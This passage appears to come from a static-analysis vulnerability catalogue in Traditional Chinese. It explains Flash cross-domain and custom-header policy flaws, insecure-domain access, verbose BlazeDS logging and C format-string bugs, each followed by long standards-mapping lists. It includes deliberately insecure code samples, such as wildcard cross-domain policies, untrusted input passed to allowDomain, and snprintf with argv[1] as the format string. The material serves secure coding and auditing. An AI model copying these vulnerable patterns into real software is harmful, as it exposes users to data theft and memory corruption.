[1] Peleus Uhley Creating more secure SWF web applications
[2] Matt Wood and Prajakta Jagdale Auditing Adobe Flash through Static Analysis
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 942
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [24] CWE ID 863
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-4 Information Flow Enforcement
[14] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[15] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[16] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.4.6 HTTP Security Headers Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[18] Standards Mapping - OWASP Mobile 2014 M5 Poor Authorization and Authentication
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[28] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[42] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
desc.semantic.actionscript.flash_misconfiguration_overly_permissive_cross_domain_policy
Abstract
程式定義過度允許的自訂表頭原則。
Explanation
依預設,Flash 應用程式需遵守相同來源策略 (Same Origin Policy),它可以確保只有在兩個 SWF 應用程式都來自相同網域時,才可以存取彼此的資料。Adobe Flash 允許開發人員在程式上或透過 crossdomain.xml 組態設定檔案的適當設定來修改策略。從 Flash Player 9,0,124,0 開始,Adobe 也引進了定義 Flash Player 可以在網域間傳送哪些自訂表頭的功能。但是,定義這些設定時應特別小心,因為將過度允許的自訂表頭策略和過度允許的跨網域策略一起套用時,會允許惡意應用程式將其選擇的表頭傳送到目標應用程式,可能會導致多種攻擊,或在不知道如何處理所接收之表頭的應用程式執行中造成錯誤。

範例 1:以下配置顯示了使用萬用字元指定 Flash Player 可以在網域間傳送哪些標頭。


<cross-domain-policy>
<allow-http-request-headers-from domain="*" headers="*"/>
</cross-domain-policy>


使用 * 做為 headers 屬性的值,表示任何表頭都會在網域間傳送。
References
[1] Peleus Uhley Creating more secure SWF web applications
[2] Matt Wood and Prajakta Jagdale Auditing Adobe Flash through Static Analysis
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-4 Information Flow Enforcement
[12] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[13] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[14] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[15] Standards Mapping - OWASP Mobile 2014 M5 Poor Authorization and Authentication
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[25] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
desc.config.actionscript.flash_misconfiguration_overly_permissive_custom_headers_policy
Abstract
程式使用未經驗證的使用者輸入來略過預期的跨網域策略限制。
Explanation
依預設,Flash 應用程式需遵守相同來源策略 (Same Origin Policy),它可以確保只有在兩個 SWF 應用程式都來自相同網域時,才可以存取彼此的資料。Adobe Flash 允許開發人員在程式上或透過 crossdomain.xml 組態設定檔案的適當設定來修改策略。但是,決定誰可以影響設定時應特別小心,因為過度允許的跨網域策略會允許惡意應用程式以不適當的方式與受害者應用程式通訊,導致欺騙、資料遭竊取、傳遞和其他攻擊。Policy restrictions bypass 弱點會在以下情況中出現:

1. 資料從不可信賴的來源進入應用程式。

2. 資料用來載入或修改跨網域策略設定。
範例 1:以下程式碼對載入的 SWF 檔案使用其中一個參數的值,做為載入跨網域策略檔案的來源 URL。


...
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var url:String = String(params["url"]);
flash.system.Security.loadPolicyFile(url);
...
範例 2:以下程式碼對載入的 SWF 檔案使用其中一個參數的值,以定義可信任網域的清單。


...
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var domain:String = String(params["domain"]);
flash.system.Security.allowDomain(domain);
...
References
[1] Peleus Uhley Creating more secure SWF web applications
[2] Matt Wood and Prajakta Jagdale Auditing Adobe Flash through Static Analysis
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414
[9] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-4 Information Flow Enforcement
[12] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[13] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[14] Standards Mapping - OWASP Mobile 2014 M5 Poor Authorization and Authentication
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[38] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.actionscript.flash_misconfiguration_policy_restrictions_bypass
Abstract
程式允許 HTTP 和 HTTPS SWF 應用程式進行通訊。
Explanation
從 Flash Player 7 開始,透過 HTTP 載入的 SWF 應用程式不允許存取預設透過 HTTPS 載入的 SWF 應用程式。Adobe Flash 允許開發人員在程式上或透過 crossdomain.xml 組態設定檔案的適當設定來修改此限制。但是,定義這些設定時應特別小心,因為 HTTP 載入的 SWF 應用程式容易遭到 man-in-the-middle 攻擊,因此不應該受信賴。

範例:以下程式碼會呼叫 allowInsecureDomain(),它會關閉以下限制:防止 HTTP 載入的 SWF 應用程式存取 HTTPS 載入之 SWF 應用程式的資料。


flash.system.Security.allowInsecureDomain("*");
References
[1] Peleus Uhley Creating more secure SWF web applications
[2] Matt Wood and Prajakta Jagdale Auditing Adobe Flash through Static Analysis
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414
[9] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-4 Information Flow Enforcement
[12] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[13] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[14] Standards Mapping - OWASP Top 10 2021 A01 Broken Access Control
[15] Standards Mapping - OWASP Mobile 2014 M5 Poor Authorization and Authentication
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.4, Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.4, Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.4, Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.4, Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control, Control Objective 6.2 - Sensitive Data Protection
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control, Control Objective 6.2 - Sensitive Data Protection
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective 6.2 - Sensitive Data Protection, Control Objective C.2.3 - Web Software Access Controls, Control Objective C.4.1 - Web Software Communications
[25] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 862
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
desc.semantic.actionscript.flash_misconfiguration_unauthorized_data_access
Abstract
除錯資訊可幫助攻擊者了解系統並計劃攻擊形式。
Explanation
如果使用 Blaze DS 來記錄所有無法預期的事件,services-config.xml 描述符號檔案會指定「記錄」XML 元素以描述記錄的不同內容。內容將與下列相似:

範例:

<logging>
<target class="flex.messaging.log.ConsoleTarget" level="Debug">
<properties>
<prefix>[BlazeDS]</prefix>
<includeDate>false</includeDate>
<includeTime>false</includeTime>
<includeLevel>false</includeLevel>
<includeCategory>false</includeCategory>
</properties>
<filters>
<pattern>Endpoint.*</pattern>
<pattern>Service.*</pattern>
<pattern>Configuration</pattern>
</filters>
</target>
</logging>


target 標籤有一個名為 level 的選擇性屬性,由它來指示記錄層級。如果除錯層級設定的層級過於詳細,應用程式可能會將敏感資料寫入記錄檔案。
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5.0
[3] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[4] Standards Mapping - CIS Google Kubernetes Engine Benchmark confidentiality
[5] Standards Mapping - CIS Kubernetes Benchmark complete
[6] Standards Mapping - Common Weakness Enumeration CWE ID 11
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001312, CCI-001314, CCI-002420, CCI-003272
[8] Standards Mapping - FIPS200 CM
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SA-15 Development Process and Standards and Tools (P2), SC-8 Transmission Confidentiality and Integrity (P1), SI-11 Error Handling (P2)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 SA-15 Development Process and Standards and Tools, SC-8 Transmission Confidentiality and Integrity, SI-11 Error Handling
[12] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[13] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[14] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[15] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[16] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[17] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[18] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[19] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.1.3 Build (L2 L3)
[20] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.6 - Sensitive Data Retention
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.6 - Sensitive Data Retention
[32] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3120 CAT II, APP3620 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3120 CAT II, APP3620 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3120 CAT II, APP3620 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3120 CAT II, APP3620 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3120 CAT II, APP3620 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3120 CAT II, APP3620 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3120 CAT II, APP3620 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[53] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[54] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.config.java.flex_misconfiguration_debug_information
Abstract
讓攻擊者控制函數的 Format String 會導致 Buffer overflow。
Explanation
Format String 弱點會在以下情況中出現:

1.資料從不可信賴的來源進入應用程式。



2.資料作為 Format String 引數傳送到函數,如 sprintf()FormatMessageW()syslog()
範例 1:以下程式碼會使用 snprintf() 將指令行引數複製到緩衝區內。


int main(int argc, char **argv){
char buf[128];
...
snprintf(buf,128,argv[1]);
}


這段程式碼允許攻擊者查看堆疊的內容,並使用包含一連串的格式化指示的指令行引數來寫入堆疊。攻擊者可能透過提供更多格式化指令 (例如 %x) 從堆疊讀取,然後函數會取得即將格式化的引數。(在此範例中,函數沒有取得即將格式化的引數。)透過使用 %n 格式化指令,攻擊者可能寫入堆疊,導致 snprintf() 將輸出的位元組數寫入到指定的引數 (而不是如預期從引數讀取值)。這種攻擊的一種繁瑣複雜的形式會使用四條交錯的輸入來完全控制堆疊中一個指標的數值。

範例 2:透過提供可控制記憶體中讀取或寫入位置的格式指令,某些實作甚至可以更輕鬆地執行更進階的攻擊。為 glibc 而寫的以下程式碼中顯示了這種指示的範例:


printf("%d %d %1$d %1$d\n", 5, 9);


此程式碼會產生以下輸出:


5 9 5 5


使用 half-writes(%hn) 來準確地控制記憶體中任意的 DWORDS 的可能性同樣存在,這會大大地降低執行一次攻擊所必須的複雜度,如果不這樣,就會要求四條交錯的輸入,如 Example 1 中所提到的一樣。

範例 3:簡單的格式字串弱點經常是由於看似無害的捷徑。使用一些這樣的執行方式是非常地根深地固,以致於程式設計師可能都不會意識到他們所使用的函數需要一個 Format String 參數。

例如,syslog() 函數有時候以如下形式使用:


...
syslog(LOG_ERR, cmdBuf);
...


因為 syslog() 的第二個參數是個 Format String,所以任何包含在 cmdBuf 內的格式化指令都會被解譯,如 Example 1 中所述。

以下程式碼顯示了 syslog() 的正確使用方式:


...
syslog(LOG_ERR, "%s", cmdBuf);
...
References
[1] T. Newsham Format String Attacks Guardent, Inc.
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark complete
[9] Standards Mapping - Common Weakness Enumeration CWE ID 134
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754, CCI-002824
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1), SI-16 Memory Protection (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation, SI-16 Memory Protection
[16] Standards Mapping - OWASP Top 10 2004 A5 Buffer Overflow
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.4.2 Memory/String/Unmanaged Code Requirements (L1 L2 L3)
[18] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[19] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[20] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.5
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
